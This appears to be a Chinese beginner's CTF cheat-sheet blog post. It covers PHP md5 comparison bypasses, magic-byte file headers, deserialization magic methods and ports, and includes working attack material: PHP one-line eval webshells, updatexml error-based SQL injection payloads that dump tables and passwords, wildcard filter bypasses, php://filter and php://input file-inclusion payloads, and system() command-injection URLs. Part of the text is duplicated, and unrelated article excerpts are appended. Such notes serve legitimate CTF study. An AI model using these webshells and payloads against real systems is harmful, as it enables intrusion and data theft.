CTF入门知识点
CTF知识点
md5函数
<?php$a = '123';echo md5($a,true);
?>
括号中true显示输出二进制
替换成false显示输出十六进制
绕过
ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ' or '6 而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
弱类型比较
两个数的md5加密后值0e开头就可以绕过,因为php在进行弱类型比较时,会转换字符串类型,再进行比较
两个数都以0e开头会被认为科学计数法,0e后面加任何数再科学计数法中都是0,所以两数相等
var_dump("0e12345"=="0e66666");//true
var_dump(md5('240610708')==md5('QNKCDZO'));//true
强类型比较
if(md5((string)$_GET['a'])===md5((string)$_GET['b']))
{<!-- -->var_dump($flag);
}
此时两个md5后的值采用严格比较,没有规定字符串如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过
var_dump(md5([1,2,3])==md5([4,5,6]));//truevar_dump(md5($_GET['a'])==md5($_GET['b']));
?a[]=1&b[]=1//true
数值类型加密位null
进制
DEC 十进制HEX 十六进制BIN 二进制OCT 八进制
木马
常用一句话
<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php @eval($_REQUEST['cmd']); ?>
<script language="php">eval($_GET['cmd']);</script>
<script language="php">eval($_POST['cmd']);</script>
GIF89a(GIF16进制的ASCII值)
文件头
FF D8 FF E1 GPEG(jpg)
89 50 4E 47 PNG(png)
47 49 46 38 GIF(gif)
49 49 2A 00 TIFF(tif)
42 4D C0 01 Windows Bitmap(bmp)
50 4B 03 04 ZIP Archive (zip)
52 61 72 21 RAR Archive (rar)
38 42 50 53 Adobe Photoshop (psd)
7B 5C 72 74 66 Rich Text Format (rtf)
3C 3F 78 6D 6C XML(xml)
68 74 6D 6C 3E HTML (html)
25 50 44 46 2D 31 2E Adobe Acrobat (pdf)
57 41 56 45 Wave (wav)
4D 3C 2B 1A pcap (pcap)
52 49 46 46 WEBP(webp)
MIME语法
通用结构:type/subtype
type:表示多个子类的独立类别
subtype:表示细分后的类型
对大小写不敏感,传统都是小写
常用MIME类型
文件类型 | MIME类型 | 描述 |
---|---|---|
.jpg | .jpeg | image/jpeg | 使用图像公共图像格式 |
.png | image/png | |
.bin | application/octet-stream | 当消息是未知类型和包含任何字节数据时使用 |
SQL注入
堆叠注入中后端代码猜测
*,1
报错注入:
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#1'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#
PHP
error_reporting(0):错误报告等级,参数为0表示关闭所有错误报告
class 定义类 public 定义公共属性
preg_match 正则表达php短标签
<?= ?>相当于<?php echo ...?> 例:<?='hello'?> //输出'hello'
php反引号
可以直接执行系统命令,想输出执行结果还需要echo等函数
<?php echo `ls /`;?> 还可以使用短标签<?='ls /'?>
php5和php7的区别
在 PHP 5 中,assert()是一个函数,我们可以用$_=assert;$_()这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)PHP5中,是不支持($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')();
通配符在RCE中的利用
原理
在正则表达式中,?这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。
在 Shell 命令行中,?这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。
同理,我们可以知道*通配符:
在正则表达式中,*这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。
在shell命令行中,*这样的通配符与其它字符一起组合成表达式,匹配任意长度的字符串。这个字符串的长度可以是0,可以是1,可以是任意数字。
利用?
和*
在正则表达式和 Shell 命令行中的区别,可以绕过关键字过滤
假设flag在/flag中:
cat /fla?
cat /fla*假设flag在/flag.txt中:
cat /fla????
cat /fla*假设flag在/flags/flag.txt中:
cat /fla??/fla????
cat /fla*/fla*假设flag在flagg文件加里:
cat /?????/fla?
cat /?????/fla*
Python转换交互式
python -c 'import pty;pty.spawn("/bin/bash")'
ssh登录
ssh -p xx [user@ip](mailto:user@ip)xx 为 端口号 user为用户名 ip为要登陆的ip
状态码
200 OK表示请求被服务器正常处理 302 Found 临时重定向,表示请求的资源临时搬到了其他位置 304 Not Modified 表示客户端发送附带条件的请求时,条件不满足 400 Bad Request 表示请求报文存在语法错误或参数错误,服务器不理解 403 Forbidden 表示对请求资源的访问被服务器拒绝了 404 Not Found 表示服务器找不到你请求的资源500 Internal Server Error 表示服务器执行请求的时候出错了
反序列化
常见的几个魔法函数:
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值__destruct: 和构造函数相反,当对象所在函数调用完毕后执行__toString:当对象被当做一个字符串使用时调用__sleep:序列化对象之前就调用此方法(其返回需要一个数组)__wakeup:反序列化恢复对象之前调用该方法 优先调用,而不会调用_construct
绕过:序列化字符串中表示对象属性个数的值大于真实属性个数时,就会跳过_wakeup执行__call:当调用对象中不存在的方法会自动调用该方法__get:在调用私有属性的时候会自动执行__isset():在不可访问的属性上调用isset()或empty()触发__unset():在不可访问的属性上使用unset()时触发
文件包含漏洞
include: 包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行
include_once: 这个函数跟和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含require: 跟include唯一不同的是,当产生错误时候,整个php文件停止运行
require_once: require_once语句和require 语句完全相同,唯一区别是PHP会检查该文件是否已经被包含过,如果是则不会再次包含注:这四个函数不管执行哪个后缀的文件,都将他当作php文件执行
远程文件包含
allow_url_fopen = On(是否允许打开远程文件) allow_url_include = On(是否允许include/require远程文件)
分为 无绕过 ?绕过 #绕过 空格绕过data:// 本身是数据流封装器,原理用法和php://input类似,但是是发送get请求参数
例http://ip/test.php?a=data://text/plain,条件
php伪协议
php://filter
?file=php://filter/convert.base64-encode/resource=xx.php
?file=php://filter/read=convert.base64-encode/resource=xx.php若base被过滤,utf编码:
?file=php://filter/convert.iconv.utf8.utf16/resource=xx.php php://input 条件:allow_url_include=On 实际相当于远程包含利用
php://打开交流文件后,我们直接在流里面写入我们的恶意代码,此时包含可执行文件
例:http://ip/test.php?a=php://input //然后在post里传入所需条件
windows常用命令
netstat -ano 查看系统进程tasklist 列出任务及进程号taskkill 杀进程type 查看文件 类似于linux中catmd 创建文件夹 类似于linux中mkdirtree 查看目录结构tracert 路由跟踪cls 清空命令行 类似于linux中clear
linux常用命令
ls -a 查看所有文件,包括隐藏文件echo 输入什么就打印什么> 覆盖 常见用法 echo word > test.txt >> 追加 常见用法 echo word >> test.txt find 目录 -name 文件 查找指定文件grep 参数 目标 id 显示用户id 所属群idnetstat 网络状态
-anplt 查看所有tcp端口
-anplu 查看所有udp端口uname 显示系统信息
-a 显示系统详细信息--help 命令使用详情clear 清空命令行touch 创建文件mkdir 创建目录chmod 权限 文件所有者 文件所属组 其他用户 读4 写2 执行1scp 复制文件和目录
url使用linux命令
?url=system("ls /");注意:ls后面要有一个空格,然后一个分号结束,这不就出来了flag?url=system("cat /f*");?url=system("cat /flllllaaaaaaggggggg");
常见端口
数据库 | 端口号 |
---|---|
Oracle | 1521 |
Mysql | 3306 |
Sql server | 1433 |
Redis | 6379 |
PostgreSQL | 5432 |
MongoDB | 27017 |
DB2 | 50000 |
服务 | 端口号 |
---|---|
FTP 数据传输 控制链接 | 20 21 |
ssh | 22 |
telnet | 23 |
SMTP 简单邮件传输 | 25 |
DNS域名解析 | 53 |
Http代理 | 80 |
常见备份文件名
.git
.svn
.swp
.~
.bak
.bash_history
json对象
存储数据的方式,使用键值对的形式表示数据
JSON对象的语法规则如下:使用花括号 {} 表示一个JSON对象。
键和值之间使用冒号 : 分隔。
每个键值对之间使用逗号 , 分隔。
键必须是一个字符串,需要用双引号或单引号括起来。
值可以是字符串、数字、布尔值、数组、嵌套的JSON对象或null。
下面是json对象实例
{"name": "John","age": 30,"isStudent": false,"interests": ["reading", "traveling"],"address": {"city": "New York","country": "USA"},"phoneNumber": null
在上面的示例中,name、age、isStudent、address、phoneNumber都是键,对应的值分别是字符串、数字、布尔值、嵌套的JSON对象、null。
你可以使用各种编程语言(如JavaScript、Python、PHP等)来创建、访问和操作JSON对象。
例:[SWPUCTF 2021 新生赛]jicao
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
get传入?json={“x”:“wllm”}
post传入id=wllmNB
word pdf 文档知识点
word中document.xml文件是所有文字存贮的地方 查找passPDF隐写 wbStego4openPPT 打开时纯色图片 猜是彩虹 红橙黄绿青蓝紫 对应0-6 白色面板是分割
问和操作JSON对象。
例:[SWPUCTF 2021 新生赛]jicao
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
get传入?json={“x”:“wllm”}
post传入id=wllmNB
[外链图片转存中…(img-pJOVzMpV-1720191316208)]
word pdf 文档知识点
word中document.xml文件是所有文字存贮的地方 查找passPDF隐写 wbStego4openPPT 打开时纯色图片 猜是彩虹 红橙黄绿青蓝紫 对应0-6 白色面板是分割
相关文章:

CTF入门知识点
CTF知识点 md5函数 <?php$a 123;echo md5($a,true); ?> 括号中true显示输出二进制 替换成false显示输出十六进制绕过 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 or 6 而 Mysql 刚好又会把 …...

Leetcode 完美数
1.题目要求: 对于一个 正整数,如果它和除了它自身以外的所有 正因子 之和相等,我们称它为 「完美数」。给定一个 整数 n, 如果是完美数,返回 true;否则返回 false。示例 1:输入:num 28 输出&a…...

springboot中的定时任务编写
第1部分:引言 1.1 定时任务的重要性 在现代软件开发中,定时任务是应用程序自动化和运维效率的关键组成部分。无论是数据备份、系统健康检查、定期报告生成,还是用户活动触发的自动化流程,定时任务都扮演着不可或缺的角色。它们确…...

第100+14步 ChatGPT学习:R实现随机森林分类
基于R 4.2.2版本演示 一、写在前面 有不少大佬问做机器学习分类能不能用R语言,不想学Python咯。 答曰:可!用GPT或者Kimi转一下就得了呗。 加上最近也没啥内容写了,就帮各位搬运一下吧。 二、R代码实现随机森林分类 ÿ…...

C#面 :ASP.Net Core中有哪些异常处理的方案?
在 ASP.NET Core中,有多种异常处理方案可供选择。以下是其中几种常见的异常处理方案: 中间件异常处理: ASP.NET Core提供了一个中间件来处理全局异常。通过在Startup类的Configure方法中添加UseExceptionHandler中间件,可以捕获…...

论文辅导 | 基于多尺度分解的LSTM⁃ARIMA锂电池寿命预测
辅导文章 模型描述 锂电池剩余使用寿命(Remaining useful life,RUL)预测是锂电池研究的一个重要方向,通过对RUL的准确预测,可以更好地管理和维护电池,延长电池使用寿命。为了能够准确预测锂电池的RUL&…...

开关阀(4):对于客户技术要求信息的识别
1.阀门部分 2.执行器 行程时间的一般标准 The stroking times are applicable to throttling control valves and should not exceed 2 seconds/inch of valve diameter 3.附件 4.定位器...

Python统计实战:时间序列分析之二阶曲线预测和三阶曲线预测
为了解决特定问题而进行的学习是提高效率的最佳途径。这种方法能够使我们专注于最相关的知识和技能,从而更快地掌握解决问题所需的能力。 (以下练习题来源于《统计学—基于Python》。请在Q群455547227下载原始数据。) 练习题 下表是某只股票…...

Drools开源业务规则引擎(三)- 事件模型(Event Model)
文章目录 Drools开源业务规则引擎(三)- 事件模型(Event Model)1.org.kie.api.event2.RuleRuntimeEventManager3.RuleRuntimeEventListener接口说明示例规则文件规则执行日志输出 4.AgentaEventListener接口说明示例监听器实现类My…...

智慧校园行政办公升级,日程监控不可或缺
在智慧校园的行政办公场景下,日程监控功能扮演了一个核心协调者的角色,它细腻地编织起时间管理的网络,确保各项活动与任务在井然有序中高效推进。这一功能通过以下几个方面,展现了其在提升工作效率与团队协作方面的独特价值。 首先…...

RedHat运维-Linux SSH基础3-sshd守护进程
1. sshd这个守护进程提供了OpenSSH服务,请问可以通过编辑哪些配置文件,来配置这个服务呢?________________________ 2. sshd这个守护进程提供了OpenSSH服务,请问可以通过编辑哪些配置文件,来配置这个服务呢?…...

医院产科信息化管理系统源码,智慧产科管理系统,涵盖了从孕妇到医院初次建档、历次产检、住院分娩、统计上报到产后42天全部医院服务的信息化管理。
医院产科信息化管理系统源码,智慧产科管理系统,产科专科电子病历系统 技术架构:前后端分离Java,Vue,ElementUIMySQL8.0.36 医院产科信息化管理系统,通过构建专科病例系统实现临床保健一体化,涵…...

Softmax作为分类任务中神经网络输出层的优劣分析
Softmax作为分类任务中神经网络输出层的优劣分析 在深度学习领域,Softmax函数作为分类任务中神经网络的输出层,被广泛应用并展现出强大的优势。然而,任何技术都有其两面性,Softmax函数也不例外。本文将从多个角度深入分析Softmax…...

404白色唯美动态页面源码
404白色唯美动态页面源码,源码由HTMLCSSJS组成,记事本打开源码文件可以进行内容文字之类的修改,双击html文件可以本地运行效果,也可以上传到服务器里面,重定向这个界面 404白色唯美动态页面源码...

细说MCU的ADC模块单通道连续采样的实现方法
目录 一、工程依赖的硬件及背景 二、设计目的 三、建立工程 1、配置GPIO 2、选择时钟源和Debug 3、配置ADC 4、配置系统时钟和ADC时钟 5、配置TIM3 6、配置串口 四、代码修改 1、重定义TIM3中断回调函数 2、启动ADC及重写其回调函数 3、定义用于存储转换结果的数…...

H2 Database Console未授权访问漏洞封堵
背景 H2 Database Console未授权访问,默认情况下自动创建不存在的数据库,从而导致未授权访问。各种未授权访问的教程,但是它怎么封堵呢? -ifExists 很简单,启动参数添加 -ifExists ,它的含义:…...

基于java+springboot+vue实现的药店管理系统(文末源码+Lw)285
摘 要 传统信息的管理大部分依赖于管理人员的手工登记与管理,然而,随着近些年信息技术的迅猛发展,让许多比较老套的信息管理模式进行了更新迭代,药品信息因为其管理内容繁杂,管理数量繁多导致手工进行处理不能满足广…...

网络爬虫基础
网络爬虫基础 网络爬虫,也被称为网络蜘蛛或爬虫,是一种用于自动浏览互联网并从网页中提取信息的软件程序。它们能够访问网站,解析页面内容,并收集所需数据。Python语言因其简洁的语法和强大的库支持,成为实现网络爬虫…...

js数组方法归纳——push、pop、unshift、shift
以下涉及到的数组的四个基础方法均会改变原数组!!! 1、 push() 该方法可以向数组的末尾添加一个或多个元素,并返回数组的新的长度可以将要添加的元素作为方法的参数传递,这样这些元素将会自动添加到数组的末尾该方法会将数组新的长度作为返回值返回 //创…...

VPN是什么?
VPN,全称Virtual Private Network,即“虚拟私人网络”,是一种在公共网络(如互联网)上建立加密、安全的连接通道的技术。简单来说,VPN就像是一条在公共道路上铺设的“秘密隧道”,通过这条隧道传输…...

浅析DDoS高防数据中心网络
随着企业业务的持续拓展和数智化转型步伐的加快,数据中心已逐渐演变为企业数据存储、处理和应用的关键部署场地,这也使得数据中心面临着日益严峻的网络安全风险,其中DDoS攻击以其高效性依旧是数据中心面临的主要威胁之一。伴随着数智化的发展…...

《安全行业大模型技术应用态势发展报告(2024)》
人工智能技术快速迭代发展,大模型应用场景不断拓展,随着安全行业对人工智能技术的应用程度日益加深,大模型在网络安全领域的应用潜力和挑战逐渐显现。安全行业大模型技术的应用实践不断涌现,其在威胁检测、风险评估和安全运营等方…...

【基于R语言群体遗传学】-4-统计建模与算法(statistical tests and algorithm)
之前的三篇博客,我们对于哈代温伯格遗传比例有了一个全面的认识,没有看的朋友可以先看一下前面的博客: 群体遗传学_tRNA做科研的博客-CSDN博客 1.一些新名词 (1)Algorithm: A series of operations executed in a s…...

Java springboot校园管理系统源码
Java springboot校园管理系统源码-014 下载地址:https://download.csdn.net/download/xiaohua1992/89364089 技术栈 运行环境:jdk8 tomcat9 mysql5.7 windows10 服务端技术:Spring Boot Mybatis VUE 使用说明 1.使用Navicati或者其它工…...

Lianwei 安全周报|2024.07.01
新的一周又开始了,以下是本周「Lianwei周报」,我们总结推荐了本周的政策/标准/指南最新动态、热点资讯和安全事件,保证大家不错过本周的每一个重点! 政策/标准/指南最新动态 01 出于安全考虑,拜登下令禁用卡巴斯基杀毒…...

柯桥职场英语学习商务英语口语生活英语培训生活口语学习
辣妹用英语怎么说? 辣妹在英语中通常被翻译为“hot girl”或“spicy girl”,但更常见和直接的是“hot chick”或简单地使用“hot”来形容。 举个例子: Shes a real hot girl with her trendy outfit and confident attitude. 她真是个辣妹࿰…...

Spring与Quartz整合
Quartz框架是一个轻量级的任务调度框架,它提供了许多内置的功能,包括:支持作业的调度、集群调度、持久化、任务持久化、任务依赖、优先级、并发控制、失败重试等。同时也支持自定义作业类型和触发器类型。与Spring整合步骤如下: …...

C++之static关键字
文章目录 前提正文多重定义extern关键字使用staticstatic 全局变量(在.cpp文件中定义)static变量存放在哪里static变量可不可以放在.h文件中 static 函数static局部变量static 成员变量static 成员函数 总结参考链接 前提 好吧,八股,我又回来了。这次想…...

嵌入式学习——硬件(Linux内核驱动编程platform、内核定时器、DS18B20)——day61
1. platform驱动框架 1.1 设备device #include <linux/init.h> #include <linux/module.h> #include <linux/platform_device.h>void led_release(struct device *dev) {printk("leds has been released\n"); }static struct resource led_resou…...

js逆向抠js要点解析与案例分享
JavaScript(JS)逆向工程是一种技术,用于分析和理解JS代码的功能和行为,尤其是在源代码不可用或被混淆的情况下。逆向JS代码可以帮助开发者理解第三方库的工作机制,或者在调试和优化过程中定位问题。 要点一࿱…...